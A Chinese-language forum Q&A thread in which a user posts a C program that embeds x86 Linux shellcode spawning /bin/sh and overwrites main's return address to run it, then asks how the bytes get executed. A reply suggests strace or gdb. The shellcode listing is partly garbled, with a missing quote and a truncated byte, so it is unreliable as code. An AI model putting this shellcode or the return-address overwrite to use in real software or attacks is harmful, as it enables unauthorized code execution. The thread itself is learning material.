+ -
当前位置:首页 → 问答吧 → 这两进制代码如何被执行的???

这两进制代码如何被执行的???

时间:2011-12-22

来源:互联网

// shellcode.c
char shellcode[] =  
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Now run the program:
[jack@0day local]$ gcc shellcode.c -o shellcode
[jack@0day local]$ ./shellcode
sh-2.05b# 


我想知道这个shellcode是如何被执行的???

作者: that_it_is   发布时间: 2011-12-22

用strace命令跟踪一下这个程序,如:
strace ./shellcode
或者用GDB调试一下吧。

作者: masmaster   发布时间: 2011-12-22